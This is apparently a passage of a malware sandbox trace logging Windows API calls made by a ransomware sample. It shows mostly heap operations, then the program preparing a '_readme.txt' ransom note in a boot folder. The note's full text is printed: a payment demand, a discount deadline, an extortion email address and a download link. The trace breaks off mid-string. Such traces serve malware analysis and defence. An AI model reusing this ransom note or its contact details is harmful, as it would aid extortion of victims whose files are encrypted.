(HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.184] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.184] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.184] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.184] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.184] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.185] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.185] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.185] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.185] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.185] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.185] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.185] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.185] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.185] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.185] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.185] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.185] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.185] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.185] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.185] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.185] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.185] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.185] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.185] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.185] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.185] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.185] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.185] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.185] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.185] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.185] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.185] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.185] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.185] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.185] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.185] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.185] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.185] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.185] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.185] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.185] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.185] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.185] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.185] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.185] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.185] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.185] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.186] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.186] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.186] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.186] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.186] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.186] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.186] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.186] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.186] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.186] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.186] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.186] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.186] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.186] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.186] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.186] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.186] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.186] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.186] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.186] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.186] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.186] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.186] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.186] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.186] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.186] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.186] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.186] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.186] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.186] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.186] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.186] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.186] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.186] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.186] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.186] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.186] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.186] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.186] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.186] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.186] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.186] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.187] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.187] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.187] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.187] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.187] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.187] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.187] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.187] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.187] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.187] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.187] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.187] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.187] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.187] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.187] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.187] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.187] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.187] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.187] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.187] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.187] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.187] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.187] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.187] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.187] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.187] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.187] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.187] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.187] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.187] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.187] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.187] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.187] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.187] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.187] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.187] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.187] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.187] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.187] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.187] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.187] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.188] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.188] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.188] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.188] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.188] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.188] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.188] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.188] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.188] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.188] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.188] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.188] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.188] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.188] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.188] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.188] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.188] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.188] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.188] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.188] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.188] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.188] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.188] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.188] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.188] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.188] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.188] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.188] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.188] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.188] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.188] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.188] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.188] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.188] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.188] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.188] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.188] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.188] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.188] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.188] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.188] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.188] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.189] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.189] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.189] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.189] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.189] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.189] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.189] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.189] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.189] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.189] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.189] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.189] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.189] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.189] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.189] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.189] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.189] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.189] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.189] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.189] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.189] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.189] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.189] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.189] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.189] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.189] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.189] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.189] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.189] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.189] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.189] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.189] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.189] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.189] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.189] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.189] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.189] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.189] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.189] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.189] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.189] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.189] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.189] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.190] PathFindFileNameW (pszPath="C:\\Boot\\de-DE\\") returned="de-DE\\" [0124.190] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.190] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.190] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.190] PathFindFileNameW (pszPath="") returned="" [0124.190] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.190] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.190] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.190] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x800) returned 0x3ae1ff0 [0124.190] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.190] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x810) returned 0x3ae27f8 [0124.190] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.190] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.190] PathAppendW (in: pszPath="C:\\Boot\\de-DE\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\de-DE\\_readme.txt") returned 1 [0124.190] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.190] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.190] PathFileExistsW (pszPath="C:\\Boot\\de-DE\\_readme.txt") returned 0 [0124.191] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x7d00) returned 0x3ae3bf0 [0124.191] lstrcpyW (in: lpString1=0x3ae3bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt 